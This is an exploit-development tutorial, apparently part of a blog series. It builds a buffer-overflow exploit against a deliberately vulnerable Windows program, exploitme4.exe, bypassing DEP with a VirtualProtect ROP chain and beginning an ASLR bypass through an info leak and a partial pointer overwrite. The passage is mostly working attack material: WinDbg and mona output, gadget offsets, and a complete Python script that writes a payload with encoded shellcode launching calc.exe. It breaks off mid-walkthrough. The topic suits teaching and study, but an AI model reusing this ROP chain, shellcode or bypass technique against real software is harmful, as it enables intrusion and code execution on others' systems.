Quantcast
Viewing all 11 articles
Browse latest View live

Exploitme4 (ASLR)

Read the previous 3 articles if you haven’t already (I, II, III).

ASLR is an acronym for Address Space Layout Randomization. As the name suggests, the layout of the address space is randomized, i.e. the base addresses of the PEB, the TEB and all the modules which support ASLR change every time Windows is rebooted and the modules are loaded into memory. This makes it impossible for hackers to use hard coded addresses in their exploits. There are at least two ways to bypass ASLR:

  1. Find some structure or module whose base address is constant.
  2. Exploit an info leak to determine the base addresses of structures and modules.

In this section we’ll build an exploit for a little program called exploitme4.exe.

In VS 2013, we’ll disable stack cookies, but leave DEP on, by going to Projectproperties, and modifying the configuration for Release as follows:

  • Configuration Properties
    • C/C++
      • Code Generation
        • Security Check: Disable Security Check (/GS-)

Make sure that DEP is activated:

  • Configuration Properties
    • Linker
      • Advanced
        • Data Execution Prevention (DEP): Yes (/NXCOMPAT)

Here’s the code of the program:

#include <cstdio>
#include <conio.h>

class Name {
    char name[32];
    int *ptr;

public:
    Name() : ptr((int *)name) {}

    char *getNameBuf() { return name; }

    int readFromFile(const char *filePath) {
        printf("Reading name from file...\n");

        for (int i = 0; i < sizeof(name); ++i)
            name[i] = 0;

        FILE *f = fopen(filePath, "rb");
        if (!f)
            return 0;
        fseek(f, 0L, SEEK_END);
        long bytes = ftell(f);
        fseek(f, 0L, SEEK_SET);
        fread(name, 1, bytes, f);
        fclose(f);
        return 1;
    }

    virtual void printName() {
        printf("Hi, %s!\n", name);
    }

    virtual void printNameInHex() {
        for (int i = 0; i < sizeof(name) / 4; ++i)
            printf(" 0x%08x", ptr[i]);
        printf("]\n");
    }
};

int main() {
    Name name;
    
    while (true) {
        if (!name.readFromFile("c:\\name.dat"))
            return -1;
        name.printName();
        name.printNameInHex();

        printf("Do you want to read the name again? [y/n] ");
        if (_getch() != 'y')
            break;
        printf("\n");
    }
    return 0;
}

This program is similar to the previous ones, but some logic has been moved to a class. Also, the program has a loop so that we can exploit the program multiple times without leaving the program.

The vulnerability is still the same: we can overflow the buffer name (inside the class Name), but this time we can exploit it in two different ways:

  1. The object name is on the stack so, by overflowing its property name, we can control ret eip of main() so that when main() returns our shellcode is called.
  2. By overflowing the property name of the object name, we can overwrite the property ptr which is used in the function printNameInHex(). By controlling ptr we can make printNameInHex() output 32 bytes of arbitrary memory.

First of all, let’s see if we need to use an info leak to bypass ASLR. Load exploitme4.exe in WinDbg (article), put a breakpoint on main() with

bp exploitme4!main

and hit F5 (go). Then let’s list the modules with mona (article):

0:000> !py mona modules
Hold on...
[+] Command used:
!py mona.py modules

---------- Mona command started on 2015-03-22 02:22:46 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------
 Module info :
----------------------------------------------------------------------------------------------------------------------------------
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
----------------------------------------------------------------------------------------------------------------------------------
 0x77090000 | 0x7709a000 | 0x0000a000 | False  | True    | True  |  True    | True   | 6.1.7601.18768 [LPK.dll] (C:\Windows\syswow64\LPK.dll)
 0x747c0000 | 0x7481a000 | 0x0005a000 | False  | True    | True  |  True    | True   | 8.0.0.4344 [guard32.dll] (C:\Windows\SysWOW64\guard32.dll)
 0x76890000 | 0x7695c000 | 0x000cc000 | False  | True    | True  |  True    | True   | 6.1.7601.18731 [MSCTF.dll] (C:\Windows\syswow64\MSCTF.dll)
 0x74e90000 | 0x74ed7000 | 0x00047000 | False  | True    | True  |  True    | True   | 6.1.7601.18409 [KERNELBASE.dll] (C:\Windows\syswow64\KERNELBASE.dll)
 0x747b0000 | 0x747b9000 | 0x00009000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [VERSION.dll] (C:\Windows\SysWOW64\VERSION.dll)
 0x747a0000 | 0x747a7000 | 0x00007000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [fltlib.dll] (C:\Windows\SysWOW64\fltlib.dll)
 0x76ad0000 | 0x76b6d000 | 0x0009d000 | False  | True    | True  |  True    | True   | 1.626.7601.18454 [USP10.dll] (C:\Windows\syswow64\USP10.dll)
 0x01390000 | 0x01396000 | 0x00006000 | False  | True    | True  |  True    | False  | -1.0- [exploitme4.exe] (exploitme4.exe)
 0x74f90000 | 0x75020000 | 0x00090000 | False  | True    | True  |  True    | True   | 6.1.7601.18577 [GDI32.dll] (C:\Windows\syswow64\GDI32.dll)
 0x76320000 | 0x76430000 | 0x00110000 | False  | True    | True  |  True    | True   | 6.1.7601.18409 [kernel32.dll] (C:\Windows\syswow64\kernel32.dll)
 0x755e0000 | 0x7568c000 | 0x000ac000 | False  | True    | True  |  True    | True   | 7.0.7601.17744 [msvcrt.dll] (C:\Windows\syswow64\msvcrt.dll)
 0x74a40000 | 0x74a4c000 | 0x0000c000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [CRYPTBASE.dll] (C:\Windows\syswow64\CRYPTBASE.dll)
 0x74a50000 | 0x74ab0000 | 0x00060000 | False  | True    | True  |  True    | True   | 6.1.7601.18779 [SspiCli.dll] (C:\Windows\syswow64\SspiCli.dll)
 0x770c0000 | 0x77240000 | 0x00180000 | False  | True    | True  |  True    | True   | 6.1.7601.18247 [ntdll.dll] (ntdll.dll)
 0x76bc0000 | 0x76c60000 | 0x000a0000 | False  | True    | True  |  True    | True   | 6.1.7601.18247 [ADVAPI32.dll] (C:\Windows\syswow64\ADVAPI32.dll)
 0x764c0000 | 0x765b0000 | 0x000f0000 | False  | True    | True  |  True    | True   | 6.1.7601.18532 [RPCRT4.dll] (C:\Windows\syswow64\RPCRT4.dll)
 0x6c9f0000 | 0x6cade000 | 0x000ee000 | False  | True    | True  |  True    | True   | 12.0.21005.1 [MSVCR120.dll] (C:\Windows\SysWOW64\MSVCR120.dll)
 0x755a0000 | 0x755b9000 | 0x00019000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [sechost.dll] (C:\Windows\SysWOW64\sechost.dll)
 0x76980000 | 0x76985000 | 0x00005000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [PSAPI.DLL] (C:\Windows\syswow64\PSAPI.DLL)
 0x76790000 | 0x76890000 | 0x00100000 | False  | True    | True  |  True    | True   | 6.1.7601.17514 [USER32.dll] (C:\Windows\syswow64\USER32.dll)
 0x74d00000 | 0x74d60000 | 0x00060000 | False  | True    | True  |  True    | True   | 6.1.7601.17514 [IMM32.DLL] (C:\Windows\SysWOW64\IMM32.DLL)
----------------------------------------------------------------------------------------------------------------------------------


[+] This mona.py action took 0:00:00.110000

As we can see, all the modules support ASLR, so we’ll need to rely on the info leak we discovered in exploitme4.exe.

Through the info leak we’ll discover the base addresses of kernel32.dll, ntdll.dll and msvcr120.dll. To do this, we first need to collect some information about the layout of exploitme4.exe and the three libraries we’re interested in.

.next section

First of all, let’s determine the RVA (i.e. offset relative to the base address) of the .text (i.e. code) section of exploitme4.exe:

0:000> !dh -s exploitme4

SECTION HEADER #1
   .text name
     AAC virtual size
    1000 virtual address          <---------------------------
     C00 size of raw data
     400 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
60000020 flags
         Code
         (no align specified)
         Execute Read

SECTION HEADER #2
  .rdata name
     79C virtual size
    2000 virtual address
     800 size of raw data
    1000 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
40000040 flags
         Initialized Data
         (no align specified)
         Read Only
<snip>

As we can see, the RVA is 1000h. This information will come in handy soon.

Virtual Functions

The class Name has two virtual functions: printName() and printNameInHex(). This means that Name has a virtual function table used to call the two virtual functions. Let’s see how this works.

In OOP (Object-Oriented Programming), classes can be specialized, i.e. a class can derive from another class. Consider the following example:

#define _USE_MATH_DEFINES
#include <cmath>
#include <cstdio>

class Figure {
public:
    virtual double getArea() = 0;
};

class Rectangle : public Figure {
    double base, height;

public:
    Rectangle(double base, double height) : base(base), height(height) {}

    virtual double getArea() {
        return base * height;
    }
};

class Circle : public Figure {
    double radius;

public:
    Circle(double radius) : radius(radius) {}

    virtual double getArea() {
        return radius * M_PI;
    }
};

int main() {
    Figure *figures[] = { new Rectangle(10, 5), new Circle(1.5), new Rectangle(5, 10) };

    for (Figure *f : figures)
        printf("area: %lf\n", f->getArea());

    return 0;
}

The classes Rectangle and Circle inherit from the class Figure, i.e. a Rectangle is a Figure and a Circle is a Figure. This means that we can pass a pointer to a Rectangle or a Circle where a pointer to a Figure is expected. Note that Figure has no implementation for the method getArea(), but Rectangle and Circle provide their own specialized implementations for that function.

Have a look at the main() function. First three Figures (two Rectangles and a Circle) are allocated and their pointers are put into the array figures. Then, for each pointer f of type Figure *, f->getArea() is called. This last expression calls the right implementation of getArea() depending on whether the figure is a Rectangle or a Circle.

How is this implemented in assembly? Let’s look at the for loop:

    for (Figure *f : figures)
010910AD 8D 74 24 30          lea         esi,[esp+30h]  
010910B1 89 44 24 38          mov         dword ptr [esp+38h],eax  
010910B5 BF 03 00 00 00       mov         edi,3  
010910BA 8D 9B 00 00 00 00    lea         ebx,[ebx]  
010910C0 8B 0E                mov         ecx,dword ptr [esi]  
        printf("area: %lf\n", f->getArea());
010910C2 8B 01                mov         eax,dword ptr [ecx]  
010910C4 8B 00                mov         eax,dword ptr [eax]  
010910C6 FF D0                call        eax  
010910C8 83 EC 08             sub         esp,8  
010910CB DD 1C 24             fstp        qword ptr [esp]  
010910CE 68 18 21 09 01       push        1092118h  
010910D3 FF D3                call        ebx  
010910D5 83 C4 0C             add         esp,0Ch  
010910D8 8D 76 04             lea         esi,[esi+4]  
010910DB 4F                   dec         edi  
010910DC 75 E2                jne         main+0A0h (010910C0h)  
    return 0;
}

The interesting lines are the following:

010910C0 8B 0E                mov         ecx,dword ptr [esi]     // ecx = ptr to the object
        printf("area: %lf\n", f->getArea());
010910C2 8B 01                mov         eax,dword ptr [ecx]     // eax = ptr to the VFTable
010910C4 8B 00                mov         eax,dword ptr [eax]     // eax = ptr to the getArea() implementation
010910C6 FF D0                call        eax

Each object starts with a pointer to the associated VFTable. All the objects of type Rectangle point to the same VFTable which contains a pointer to the implementation of getArea() associated with Rectangle. The objects of type Circle point to another VFTable which contains a pointer to their own implementation of getArea(). With this additional level of indirection, the same assembly code calls the right implementation of getArea() for each object depending on its type, i.e. on its VFTable.

A little picture might help to clarify this further:
Image may be NSFW.
Clik here to view.
pic_a7

Let’s get back to exploitme4.exe. Load it in WinDbg, put a breakpoint on main() and hit F10 (step) until you’re inside the while loop (look at the source code). This makes sure that the object name has been created and initialized.

The layout of the object name is the following:

|VFTptr | name           | ptr   |
 <DWORD> <-- 32 bytes --> <DWORD>

As we said before, the Virtual Function Table pointer is at offset 0. Let’s read that pointer:

0:000> dd name
0033f8b8  011421a0 0033f8e8 01141290 0114305c
0033f8c8  01143060 01143064 00000000 0114306c
0033f8d8  6ca0cc79 0033f8bc 00000001 0033f924
0033f8e8  011413a2 00000001 00574fb8 00566f20
0033f8f8  155a341e 00000000 00000000 7efde000
0033f908  00000000 0033f8f8 00000022 0033f960
0033f918  011418f9 147dee12 00000000 0033f930
0033f928  7633338a 7efde000 0033f970 770f9f72

The VFTptr is 0x011421a0. Now, let’s view the contents of the VFTable:

0:000> dd 011421a0
011421a0  01141000 01141020 00000048 00000000
011421b0  00000000 00000000 00000000 00000000
011421c0  00000000 00000000 00000000 00000000
011421d0  00000000 00000000 00000000 00000000
011421e0  00000000 01143018 01142310 00000001
011421f0  53445352 9c20999b 431fa37a cc3e54bc
01142200  da01c06e 00000010 755c3a63 73726573
01142210  75696b5c 5c6d6e68 75636f64 746e656d

We have one pointer for printName() (0x01141000) and another for printNameInHex() (0x01141020). Let’s compute the RVA of the pointer to printName():

0:000> ? 01141000-exploitme4
Evaluate expression: 4096 = 00001000

IAT

The IAT (Import Address Table) of a file PE is a table which the OS loader fills in with the addresses of the functions imported from other modules during the dynamic linking phase. When a program wants to call an imported function, it uses a CALL with the following form:

CALL      dword ptr ds:[location_in_IAT]

By inspecting the IAT of exploitme4.exe we can learn the base addresses of the modules the functions are imported from.

First let’s find out where the IAT is located:

0:000> !dh -f exploitme4

File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
     14C machine (i386)
       5 number of sections
550DA390 time date stamp Sat Mar 21 18:00:00 2015

       0 file pointer to symbol table
       0 number of symbols
      E0 size of optional header
     102 characteristics
            Executable
            32 bit word machine

OPTIONAL HEADER VALUES
     10B magic #
   12.00 linker version
     C00 size of code
    1000 size of initialized data
       0 size of uninitialized data
    140A address of entry point
    1000 base of code
         ----- new -----
00ac0000 image base
    1000 section alignment
     200 file alignment
       3 subsystem (Windows CUI)
    6.00 operating system version
    0.00 image version
    6.00 subsystem version
    6000 size of image
     400 size of headers
       0 checksum
00100000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
    8140  DLL characteristics
            Dynamic base
            NX compatible
            Terminal server aware
       0 [       0] address  of Export Directory
    23C4 [      3C] address  of Import Directory
    4000 [     1E0] address  of Resource Directory
       0 [       0] address  of Exception Directory
       0 [       0] address  of Security Directory
    5000 [     1B4] address  of Base Relocation Directory
    20E0 [      38] address  of Debug Directory
       0 [       0] address  of Description Directory
       0 [       0] address  of Special Directory
       0 [       0] address  of Thread Storage Directory
    21A8 [      40] address  of Load Configuration Directory
       0 [       0] address  of Bound Import Directory
    2000 [      B8] address  of Import Address Table Directory   <-----------------------
       0 [       0] address  of Delay Import Directory
       0 [       0] address  of COR20 Header Directory
       0 [       0] address  of Reserved Directory

The RVA of the IAT is 0x2000 and its size is 0xB8 bytes. Now we can display the contents of the IAT by using the command dps which displays the addresses with the associated symbols:

0:000> dps exploitme4+2000 LB8/4
00ac2000  76334a25 kernel32!IsDebuggerPresentStub     <---------------------- kernel32
00ac2004  770f9dd5 ntdll!RtlDecodePointer             <---------------------- ntdll
00ac2008  763334c9 kernel32!GetSystemTimeAsFileTimeStub                                  msvcr120
00ac200c  76331420 kernel32!GetCurrentThreadIdStub                                           |
00ac2010  763311f8 kernel32!GetCurrentProcessIdStub                                          |
00ac2014  763316f1 kernel32!QueryPerformanceCounterStub                                      |
00ac2018  7710107b ntdll!RtlEncodePointer                                                    |
00ac201c  763351fd kernel32!IsProcessorFeaturePresent                                        |
00ac2020  00000000                                                                           |
00ac2024  6ca94ced MSVCR120!_XcptFilter [f:\dd\vctools\crt\crtw32\misc\winxfltr.c @ 195] <---+
00ac2028  6ca6bb8d MSVCR120!_amsg_exit [f:\dd\vctools\crt\crtw32\startup\crt0dat.c @ 485]
00ac202c  6ca1e25f MSVCR120!__getmainargs [f:\dd\vctools\crt\crtw32\dllstuff\crtlib.c @ 142]
00ac2030  6ca1c7ce MSVCR120!__set_app_type [f:\dd\vctools\crt\crtw32\misc\errmode.c @ 94]
00ac2034  6ca24293 MSVCR120!exit [f:\dd\vctools\crt\crtw32\startup\crt0dat.c @ 416]
00ac2038  6ca6bbb8 MSVCR120!_exit [f:\dd\vctools\crt\crtw32\startup\crt0dat.c @ 432]
00ac203c  6ca24104 MSVCR120!_cexit [f:\dd\vctools\crt\crtw32\startup\crt0dat.c @ 447]
00ac2040  6ca955eb MSVCR120!_configthreadlocale [f:\dd\vctools\crt\crtw32\misc\wsetloca.c @ 141]
00ac2044  6ca6b9e9 MSVCR120!__setusermatherr [f:\dd\vctools\crt\fpw32\tran\matherr.c @ 41]
00ac2048  6ca0cc86 MSVCR120!_initterm_e [f:\dd\vctools\crt\crtw32\startup\crt0dat.c @ 990]
00ac204c  6ca0cc50 MSVCR120!_initterm [f:\dd\vctools\crt\crtw32\startup\crt0dat.c @ 941]
00ac2050  6cacf62c MSVCR120!__initenv
00ac2054  6cacf740 MSVCR120!_fmode
00ac2058  6c9fec80 MSVCR120!type_info::~type_info [f:\dd\vctools\crt\crtw32\eh\typinfo.cpp @ 32]
00ac205c  6ca8dc2c MSVCR120!terminate [f:\dd\vctools\crt\crtw32\eh\hooks.cpp @ 66]
00ac2060  6ca1c7db MSVCR120!__crtSetUnhandledExceptionFilter [f:\dd\vctools\crt\crtw32\misc\winapisupp.c @ 194]
00ac2064  6c9fedd7 MSVCR120!_lock [f:\dd\vctools\crt\crtw32\startup\mlock.c @ 325]
00ac2068  6c9fedfc MSVCR120!_unlock [f:\dd\vctools\crt\crtw32\startup\mlock.c @ 363]
00ac206c  6ca01208 MSVCR120!_calloc_crt [f:\dd\vctools\crt\crtw32\heap\crtheap.c @ 55]
00ac2070  6ca0ca46 MSVCR120!__dllonexit [f:\dd\vctools\crt\crtw32\misc\onexit.c @ 263]
00ac2074  6ca1be6b MSVCR120!_onexit [f:\dd\vctools\crt\crtw32\misc\onexit.c @ 81]
00ac2078  6ca9469b MSVCR120!_invoke_watson [f:\dd\vctools\crt\crtw32\misc\invarg.c @ 121]
00ac207c  6ca1c9b5 MSVCR120!_controlfp_s [f:\dd\vctools\crt\fpw32\tran\contrlfp.c @ 36]
00ac2080  6ca02aaa MSVCR120!_except_handler4_common [f:\dd\vctools\crt\crtw32\misc\i386\chandler4.c @ 260]
00ac2084  6ca96bb8 MSVCR120!_crt_debugger_hook [f:\dd\vctools\crt\crtw32\misc\dbghook.c @ 57]
00ac2088  6ca9480c MSVCR120!__crtUnhandledException [f:\dd\vctools\crt\crtw32\misc\winapisupp.c @ 253]
00ac208c  6ca947f7 MSVCR120!__crtTerminateProcess [f:\dd\vctools\crt\crtw32\misc\winapisupp.c @ 221]
00ac2090  6c9fed74 MSVCR120!operator delete [f:\dd\vctools\crt\crtw32\heap\delete.cpp @ 20]
00ac2094  6ca9215c MSVCR120!_getch [f:\dd\vctools\crt\crtw32\lowio\getch.c @ 237]
00ac2098  6ca04f9e MSVCR120!fclose [f:\dd\vctools\crt\crtw32\stdio\fclose.c @ 43]
00ac209c  6ca1fdbc MSVCR120!fseek [f:\dd\vctools\crt\crtw32\stdio\fseek.c @ 96]
00ac20a0  6ca1f9de MSVCR120!ftell [f:\dd\vctools\crt\crtw32\stdio\ftell.c @ 45]
00ac20a4  6ca05a8c MSVCR120!fread [f:\dd\vctools\crt\crtw32\stdio\fread.c @ 301]
00ac20a8  6ca71dc4 MSVCR120!fopen [f:\dd\vctools\crt\crtw32\stdio\fopen.c @ 124]
00ac20ac  6cacf638 MSVCR120!_commode
00ac20b0  6ca72fd9 MSVCR120!printf [f:\dd\vctools\crt\crtw32\stdio\printf.c @ 49]
00ac20b4  00000000

We just need three addresses, one for each module. Now let’s compute the RVAs of the three addresses:

0:000> ? kernel32!IsDebuggerPresentStub-kernel32
Evaluate expression: 84517 = 00014a25
0:000> ? ntdll!RtlDecodePointer-ntdll
Evaluate expression: 237013 = 00039dd5
0:000> ? MSVCR120!_XcptFilter-msvcr120
Evaluate expression: 675053 = 000a4ced

So we know the following:

@exploitme4 + 00002000    kernel32 + 00014a25
@exploitme4 + 00002004    ntdll + 00039dd5
@exploitme4 + 00002024    msvcr120 + 000a4ced

The first line means that at address exploitme4 + 00002000 there is kernel32 + 00014a25. Even if exploitme4 and kernel32 (which are the base addresses) change, the RVAs remain constant, therefore the table is always correct. This information will be crucial to determine the base addresses of kernel32.dll, ntdll.dll and msvcr120.dll during the exploitation.

Popping up the calculator

As we’ve already seen, the layout of the object name is the following:

|VFTptr | name           | ptr   |
 <DWORD> <-- 32 bytes --> <DWORD>

This means that ptr is overwritten with the dword at offset 32 in the file name.dat. For now we’ll ignore ptr because we want to take control of EIP.

First of all, notice that the object name is allocated on the stack, so it is indeed possible to overwrite ret eip by overflowing the property name.

Since we must overwrite ptr on the way to take control of EIP, we must choose the address of a readable location for ptr or exploitme4 will crash when it tries to use ptr. We can overwrite ptr with the base address of kernel32.dll.

Fire up IDLE and run the following Python script:

with open(r'c:\name.dat', 'wb') as f:
    readable = struct.pack('<I', 0x76320000)
    name = 'a'*32 + readable + 'b'*100
    f.write(name)

Load exploitme4 in WinDbg, hit F5 (go) and in exploitme4‘s console enter ‘n‘ to exit from main() and trigger the exception:

(ff4.2234): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=6ca92195 edx=0020e0e8 esi=00000001 edi=00000000
eip=62626262 esp=001cf768 ebp=62626262 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
62626262 ??              ???

We can see that EIP was overwritten by 4 of our “b“s. Let’s compute the exact offset of the dword that controls EIP by using a special pattern:

0:000> !py mona pattern_create 100
Hold on...
[+] Command used:
!py mona.py pattern_create 100
Creating cyclic pattern of 100 bytes
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
[+] Preparing output file 'pattern.txt'
    - (Re)setting logfile d:\WinDbg_logs\exploitme4\pattern.txt
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open d:\WinDbg_logs\exploitme4\pattern.txt and copy the pattern from the file

[+] This mona.py action took 0:00:00.030000

Here’s the updated script:

with open(r'c:\name.dat', 'wb') as f:
    readable = struct.pack('<I', 0x76320000)
    pattern = ('Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6'+
           'Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A')
    name = 'a'*32 + readable + pattern
    f.write(name)

Repeat the process in WinDbg to generate another exception:

(f3c.23b4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=6ca92195 edx=001edf38 esi=00000001 edi=00000000
eip=33614132 esp=0039f9ec ebp=61413161 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
33614132 ??              ???

Let’s find out the offset of 0x33614132:

0:000> !py mona pattern_offset 33614132
Hold on...
[+] Command used:
!py mona.py pattern_offset 33614132
Looking for 2Aa3 in pattern of 500000 bytes
 - Pattern 2Aa3 (0x33614132) found in cyclic pattern at position 8
Looking for 2Aa3 in pattern of 500000 bytes
Looking for 3aA2 in pattern of 500000 bytes
 - Pattern 3aA2 not found in cyclic pattern (uppercase)  
Looking for 2Aa3 in pattern of 500000 bytes
Looking for 3aA2 in pattern of 500000 bytes
 - Pattern 3aA2 not found in cyclic pattern (lowercase)  

[+] This mona.py action took 0:00:00.180000

Now that we know that the offset is 8, we can reuse the script we used before to defeat DEP. We just need to make some minor modification and to remember to update the base addresses for kernel32.dll, ntdll.dll and msvcr120.dll.

Here’s the full script:

import struct

# The signature of VirtualProtect is the following:
#   BOOL WINAPI VirtualProtect(
#     _In_   LPVOID lpAddress,
#     _In_   SIZE_T dwSize,
#     _In_   DWORD flNewProtect,
#     _Out_  PDWORD lpflOldProtect
#   );

# After PUSHAD is executed, the stack looks like this:
#   .
#   .
#   .
#   EDI (ptr to ROP NOP (RETN))
#   ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
#   EBP (ptr to POP (skips EAX on the stack))
#   ESP (lpAddress (automatic))
#   EBX (dwSize)
#   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
#   ECX (lpOldProtect (ptr to writeable address))
#   EAX (address of ptr to VirtualProtect)
# lpAddress:
#   ptr to "call esp"
#   <shellcode>

msvcr120 = 0x6c9f0000
kernel32 = 0x76320000
ntdll = 0x770c0000

def create_rop_chain():
    for_edx = 0xffffffff

    # rop chain generated with mona.py - www.corelan.be (and modified by me).
    rop_gadgets = [
        msvcr120 + 0xbf868,  # POP EBP # RETN [MSVCR120.dll]
        msvcr120 + 0xbf868,  # skip 4 bytes [MSVCR120.dll]

        # ebx = 0x400 (dwSize)
        msvcr120 + 0x1c658,  # POP EBX # RETN [MSVCR120.dll]
        0x11110511,
        msvcr120 + 0xdb6c4,  # POP ECX # RETN [MSVCR120.dll]
        0xeeeefeef,
        msvcr120 + 0x46398,  # ADD EBX,ECX # SUB AL,24 # POP EDX # RETN [MSVCR120.dll]
        for_edx,

        # edx = 0x40 (NewProtect = PAGE_EXECUTE_READWRITE)
        msvcr120 + 0xbedae,  # POP EDX # RETN [MSVCR120.dll]
        0x01010141,
        ntdll + 0x75b23,     # POP EDI # RETN [ntdll.dll]
        0xfefefeff,
        msvcr120 + 0x39b41,  # ADD EDX,EDI # RETN [MSVCR120.dll]

        msvcr120 + 0xdb6c4,  # POP ECX # RETN [MSVCR120.dll]
        kernel32 + 0xe0fce,  # &Writable location [kernel32.dll]
        ntdll + 0x75b23,     # POP EDI # RETN [ntdll.dll]
        msvcr120 + 0x68e3d,  # RETN (ROP NOP) [MSVCR120.dll]
        msvcr120 + 0x6e150,  # POP ESI # RETN [MSVCR120.dll]
        ntdll + 0x2e8ae,     # JMP [EAX] [ntdll.dll]
        msvcr120 + 0x50464,  # POP EAX # RETN [MSVCR120.dll]
        msvcr120 + 0xe51a4,  # address of ptr to &VirtualProtect() [IAT MSVCR120.dll]
        msvcr120 + 0xbb7f9,  # PUSHAD # RETN [MSVCR120.dll]
        kernel32 + 0x37133,  # ptr to 'call esp' [kernel32.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

def write_file(file_path):
    with open(file_path, 'wb') as f:
        readable = struct.pack('<I', kernel32)
        ret_eip = struct.pack('<I', kernel32 + 0xb7805)            # RETN
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        name = 'a'*32 + readable + 'a'*8 + ret_eip + create_rop_chain() + shellcode
        f.write(name)

write_file(r'c:\name.dat')

Run the script and then run exploitme4.exe and exit from it by typing “n” at the prompt. If you did everything correctly, the calculator should pop up. We did it!

Exploiting the info leak

Now let’s assume we don’t know the base addresses of kernel32.dll, ntdll.dll and msvcr120.dll and that we want to determine them by relying on exploitme4.exe alone (so that we could do that even from a remote PC if exploitme4.exe was offered as a remote service).

From the source code of exploitme4, we can see that ptr initially points to the beginning of the array name:

class Name {
    char name[32];
    int *ptr;

public:
    Name() : ptr((int *)name) {}
<snip>
};

We want to read the pointer to the VFTable, but even if we can control ptr and read wherever we want, we don’t know the address of name. A solution is that of performing a partial overwrite. We’ll just overwrite the least significant byte of ptr:

def write_file(lsb):
    with open(r'c:\name.dat', 'wb') as f:
        name = 'a'*32 + chr(lsb)
        f.write(name)

write_file(0x80)

If the initial value of ptr was 0xYYYYYYYY, after the overwrite, ptr is equal to 0xYYYYYY80. Now let’s run exploitme4.exe (directly, without WinDbg):

Reading name from file...
Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaǰ&!
 0x01142148 0x00000000 0x6cace060 0x0000000b 0x0026f87c 0x00000021 0x0026f924 0x
6ca0a0d5]
Do you want to read the name again? [y/n]

As we can see, the first 8 dwords starting from the address indicated by ptr are

0x01142148 0x00000000 0x6cace060 0x0000000b 0x0026f87c 0x00000021 0x0026f924 0x6ca0a0d5

There’s no trace of the “a“s (0x61616161) we put in the buffer name, so we must keep searching. Let’s try with 0x60:

write_file(0x60)

